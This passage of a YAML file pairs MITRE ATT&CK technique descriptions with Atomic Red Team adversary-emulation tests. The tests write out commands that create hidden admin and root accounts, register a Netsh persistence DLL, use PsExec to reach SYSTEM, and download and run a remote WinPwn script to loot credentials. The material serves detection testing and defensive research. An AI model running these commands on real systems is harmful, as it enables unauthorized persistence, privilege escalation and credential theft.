        audit policies across the enterprise and with externally accessible services.
        (Citation: TechNet Audit Policy) Look for suspicious account behavior across
        systems that share accounts, either user, admin, or service accounts. Examples:
        one account logged into multiple systems simultaneously; multiple accounts
        logged into the same machine simultaneously; accounts logged in at odd times
        or outside of business hours. Activity may be from interactive login sessions
        or process ownership from accounts being used to execute binaries on a remote
        system as a particular account. Correlate other security systems with login
        information (e.g., a user has an active login session but has not entered
        the building or does not have VPN access).\n\nMonitor property changes in
        Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)).
        The <code>Store passwords using reversible encryption</code> configuration
        should be set to Disabled. Additionally, monitor and/or block suspicious command/script
        execution of <code>-AllowReversiblePasswordEncryption $true</code>, <code>Set-ADUser</code>
        and <code>Set-ADAccountControl</code>. Finally, monitor Fine-Grained Password
        Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
      - Azure AD
      - Google Workspace
      - IaaS
      - Office 365
      - SaaS
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Process: Process Access'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'User Account: User Account Authentication'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'File: File Creation'
      - 'User Account: User Account Modification'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Cloud Service: Cloud Service Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      type: attack-pattern
      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
      created: '2020-02-11T19:01:56.887Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556
        external_id: T1556
      - source_name: Clymb3r Function Hook Passwords Sept 2013
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
      - source_name: Xorrior Authorization Plugins
        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
          Authorization Plugins. Retrieved April 22, 2021.
        url: https://xorrior.com/persistent-credential-theft/
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - source_name: dump_pwd_dcsync
        description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for
          All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.
        url: https://adsecurity.org/?p=2053
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1546.007:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed
      created: '2020-01-24T14:26:51.207Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1546.007
        url: https://attack.mitre.org/techniques/T1546/007
      - source_name: Demaske Netsh Persistence
        url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
        description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL
          DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.
      - source_name: TechNet Netsh
        url: https://technet.microsoft.com/library/bb490939.aspx
        description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.
      - source_name: Github Netsh Helper CS Beacon
        url: https://github.com/outflankbv/NetshHelperBeacon
        description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved
          February 13, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

        Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Event Triggered Execution: Netsh Helper DLL'
      x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes
        in most environments. Monitor process executions and investigate any child
        processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code>
        registry key for any new or suspicious entries that do not correlate with
        known system files or benign software.(Citation: Demaske Netsh Persistence)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.007
    atomic_tests:
    - name: Netsh Helper DLL Registration
      auto_generated_guid: 3244697d-5a3a-4dfc-941c-550f69f91a4d
      description: |
        You can register a "helper dll" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.
        The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.

        [Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)
        [Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)
      supported_platforms:
      - windows
      input_arguments:
        helper_file:
          description: Path to DLL
          type: path
          default: PathToAtomicsFolder\T1546.007\bin\NetshHelper.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'Helper DLL must exist on disk at specified location (#{helper_file})

          '
        prereq_command: 'if (Test-Path "#{helper_file}") { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{helper_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll" -OutFile "#{helper_file}"
      executor:
        command: |
          netsh.exe add helper "#{helper_file}"
          taskkill /im notepad.exe /t /f > NUL 2>&1
        cleanup_command: 'netsh.exe delete helper "#{helper_file}"

          '
        name: command_prompt
        elevation_required: true
  T1505.001:
    technique:
      x_mitre_platforms:
      - Windows
      - Linux
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Carlos Borges, @huntingneo, CIP
      - Lucas da Silva Pereira, @vulcanunsec, CIP
      - Kaspersky
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a
      type: attack-pattern
      created: '2019-12-12T14:59:58.168Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1505.001
        url: https://attack.mitre.org/techniques/T1505/001
      - source_name: NetSPI Startup Stored Procedures
        url: https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
        description: 'Sutherland, S. (2016, March 7). Maintaining Persistence via
          SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.'
      - source_name: Kaspersky MSSQL Aug 2019
        url: https://securelist.com/malicious-tasks-in-ms-sql-server/92167/
        description: 'Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote
          attack on Microsoft SQL Server. Retrieved September 4, 2019.'
      - source_name: Microsoft xp_cmdshell 2017
        url: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017
        description: Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved
          September 9, 2019.
      - source_name: Microsoft CLR Integration 2017
        url: https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017
        description: Microsoft. (2017, June 19). Common Language Runtime Integration.
          Retrieved July 8, 2019.
      - source_name: NetSPI SQL Server CLR
        url: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
        description: Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies.
          Retrieved July 8, 2019.
      modified: '2021-04-29T14:49:39.188Z'
      name: SQL Stored Procedures
      description: "Adversaries may abuse SQL stored procedures to establish persistent
        access to systems. SQL Stored Procedures are code that can be saved and reused
        so that database users do not waste time rewriting frequently used SQL queries.
        Stored procedures can be invoked via SQL statements to the database using
        the procedure name or via defined events (e.g. when a SQL server application
        is started/restarted).\n\nAdversaries may craft malicious stored procedures
        that can provide a persistence mechanism in SQL database servers.(Citation:
        NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute
        operating system commands through SQL syntax the adversary may have to enable
        additional functionality, such as xp_cmdshell for MSSQL Server.(Citation:
        NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation:
        Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language
        runtime (CLR) integration. With CLR integration enabled, application developers
        can write stored procedures using any .NET framework language (e.g. VB .NET,
        C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft
        or modify CLR assemblies that are linked to stored procedures since these
        CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI
        SQL Server CLR) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: 'On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation:
        NetSPI Startup Stored Procedures) Consider enabling audit features that can
        log malicious startup activities.'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1556.004:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
      type: attack-pattern
      created: '2020-10-19T17:58:04.155Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.004
        url: https://attack.mitre.org/techniques/T1556/004
      - source_name: Mandiant - Synful Knock
        url: https://www.mandiant.com/resources/synful-knock-acis
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      modified: '2022-05-11T14:00:00.188Z'
      name: Network Device Authentication
      description: |-
        Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

        [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1574.004:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Dylib Hijacking
      description: |-
        Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

        Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or
        modifying dylibs. Changes in the set of dylibs that are loaded by a process
        (compared to past behavior) that do not correlate with known software, patches,
        etc., are suspicious. Check the system for multiple dylibs with the same name
        and monitor which versions have historically been loaded into a process. \n\nRun
        path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>,
        and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS
        loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation:
        Apple Developer Doco Archive Run-Path) These loader instructions can be examined
        for individual binaries or frameworks using the <code>otool -l</code> command.
        Objective-See's Dylib Hijacking Scanner can be used to identify applications
        vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation:
        Github EmpireProject HijackScanner)"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - macOS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Application Control
      type: attack-pattern
      id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490
      created: '2020-03-16T15:23:30.896Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/004
        external_id: T1574.004
      - source_name: MalwareUnicorn macOS Dylib Injection MachO
        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
          Retrieved March 29, 2021.
        url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
      - source_name: Apple Developer Doco Archive Run-Path
        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
          March 31, 2021.
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
      - source_name: Wardle Dylib Hijacking OSX 2015
        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
          March 29, 2021.
        url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
      - source_name: Writing Bad Malware for OSX
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
      - source_name: Wardle Dylib Hijack Vulnerable Apps
        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
          Apps. Retrieved March 31, 2021.
        url: https://objective-see.com/blog/blog_0x46.html
      - source_name: wardle artofmalware volume1
        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
          0x1: Analysis. Retrieved March 19, 2021.'
        url: https://taomm.org/vol1/pdfs.html
      - source_name: Github EmpireProject HijackScanner
        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
        url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
      - source_name: Github EmpireProject CreateHijacker Dylib
        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
          Hijacker. Retrieved April 1, 2021.
        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1078.003:
    technique:
      modified: '2023-07-14T13:04:04.591Z'
      name: 'Valid Accounts: Local Accounts'
      description: "Adversaries may obtain and abuse credentials of a local account
        as a means of gaining Initial Access, Persistence, Privilege Escalation, or
        Defense Evasion. Local accounts are those configured by an organization for
        use by users, remote support, services, or for administration on a single
        system or service.\n\nLocal Accounts may also be abused to elevate privileges
        and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
        Password reuse may allow the abuse of local accounts across a set of machines
        on a network for the purposes of Privilege Escalation and Lateral Movement. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: Perform regular audits of local system accounts to detect
        accounts that may have been created by an adversary for persistence. Look
        for suspicious account behavior, such as accounts logged in at odd times or
        outside of business hours.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      - Network
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Logon Session: Logon Session Metadata'
      - 'User Account: User Account Authentication'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
      created: '2020-03-13T20:26:46.695Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/003
        external_id: T1078.003
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.003
    atomic_tests:
    - name: Create local account with admin privileges
      auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: Password for art-test user
          type: string
          default: "-4RTisCool!-321"
      executor:
        command: |-
          net user art-test /add
          net user art-test #{password}
          net localgroup administrators art-test /add
        cleanup_command: |-
          net localgroup administrators art-test /delete >nul 2>&1
          net user art-test /delete >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Create local account with admin privileges - MacOS
      auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - macos
      executor:
        command: |-
          dscl . -create /Users/AtomicUser
          dscl . -create /Users/AtomicUser UserShell /bin/bash
          dscl . -create /Users/AtomicUser RealName "Atomic User"
          dscl . -create /Users/AtomicUser UniqueID 503
          dscl . -create /Users/AtomicUser PrimaryGroupID 503
          dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
          dscl . -passwd /Users/AtomicUser mySecretPassword
          dscl . -append /Groups/admin GroupMembership AtomicUser
        cleanup_command: sudo dscl . -delete /Users/AtomicUser
        name: bash
        elevation_required: true
    - name: Create local account with admin privileges using sysadminctl utility -
        MacOS
      auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - macos
      executor:
        command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password
          !pass123! -admin
        cleanup_command: sysadminctl interactive -deleteUser art-tester
        name: bash
        elevation_required: true
    - name: Enable root account using dsenableroot utility - MacOS
      auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac
      description: After execution the current/new user will have root access
      supported_platforms:
      - macos
      executor:
        command: |-
          dsenableroot #current user
          dsenableroot -u art-tester -p art-tester -r art-root #new user
        cleanup_command: |-
          dsenableroot -d #current user
          dsenableroot -d -u art-tester -p art-tester #new user
        name: bash
        elevation_required: true
    - name: Add a new/existing user to the admin group using dseditgroup utility -
        macOS
      auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875
      description: After execution the current/new user will be added to the Admin
        group
      supported_platforms:
      - macos
      executor:
        command: dseditgroup -o edit -a art-user -t user admin
        cleanup_command: dseditgroup -o edit -d art-user -t user admin
        name: bash
        elevation_required: true
    - name: WinPwn - Loot local Credentials - powerhell kittie
      auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912
      description: Loot local Credentials - powerhell kittie technique via function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          obfuskittiedump -consoleoutput -noninteractive
        name: powershell
        elevation_required: true
    - name: WinPwn - Loot local Credentials - Safetykatz
      auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4
      description: Loot local Credentials - Safetykatz technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          safedump -consoleoutput -noninteractive
        name: powershell
        elevation_required: true
    - name: Create local account (Linux)
      auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357
      description: 'An adversary may wish to create an account with admin privileges
        to work with. In this test we create a "art" user with the password art, switch
        to art, execute whoami, exit and delete the art user.

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          password=$(openssl passwd -1 art)
          ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))
          su art -c "whoami; exit"
        cleanup_command: '[ "$(uname)" = ''Linux'' ] && userdel art -rf || rmuser
          -y art

          '
    - name: Reactivate a locked/expired account (Linux)
      auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931
      description: "A system administrator may have locked and expired a user account
        rather than deleting it. \"the user is coming back, at some stage\" An adversary
        may reactivate a inactive account in an attempt to appear legitimate. \n\nIn
        this test we create a \"art\" user with the password art, lock and expire
        the account, try to su to art and fail, unlock and renew the account, su successfully,
        then delete the account.\n"
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
          usermod --lock art
          usermod --expiredate "1" art
          usermod --unlock art
          usermod --expiredate "99999" art
          su art
          whoami
          exit
        cleanup_command: "userdel -r art \n"
    - name: Reactivate a locked/expired account (FreeBSD)
      auto_generated_guid: '09e3380a-fae5-4255-8b19-9950be0252cf'
      description: "A system administrator may have locked and expired a user account
        rather than deleting it. \"the user is coming back, at some stage\" An adversary
        may reactivate a inactive account in an attempt to appear legitimate. \n\nIn
        this test we create a \"art\" user with the password art, lock and expire
        the account, try to su to art and fail, unlock and renew the account, su successfully,
        then delete the account.\n"
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          pw useradd art -g wheel -s /bin/sh
          echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0
          pw lock art
          pw usermod art -e +1d
          pw unlock art
          pw user mod art -e +99d
          su art
          whoami
          exit
        cleanup_command: "rmuser -y art \n"
    - name: Login as nobody (Linux)
      auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85
      description: 'An adversary may try to re-purpose a system account to appear
        legitimate. In this test change the login shell of the nobody account, change
        its password to nobody, su to nobody, exit, then reset nobody''s shell to
        /usr/sbin/nologin.

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh
          --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody)
          nobody\nsu nobody\nwhoami\nexit\n"
        cleanup_command: "chsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep
          nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n"
    - name: Login as nobody (freebsd)
      auto_generated_guid: 16f6374f-7600-459a-9b16-6a88fd96d310
      description: 'An adversary may try to re-purpose a system account to appear
        legitimate. In this test change the login shell of the nobody account, change
        its password to nobody, su to nobody, exit, then reset nobody''s shell to
        /usr/sbin/nologin.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged
          user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho
          $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n"
        cleanup_command: |
          pw usermod nobody -s /usr/sbin/nologin
          cat /etc/passwd |grep nobody
          # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
    - name: Use PsExec to elevate to NT Authority\SYSTEM account
      auto_generated_guid: 6904235f-0f55-4039-8aed-41c300ff7733
      description: "PsExec is a powerful tool most known for its remote management
        capability. However, it can also be used to run processes as the local system
        account.\n\nThe local system account is a default windows account which has
        unrestricted access to all system resources.\n\nUpon successful execution,
        PsExec.exe will spawn a command prompt which will run 'whoami' as the local
        system account and then exit.    \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads
          directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          { exit 0 } else { exit 1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      executor:
        name: command_prompt
        elevation_required: true
        command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula
          -s %COMSPEC% /c whoami

          '
  T1574.012:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jesse Brown, Red Canary
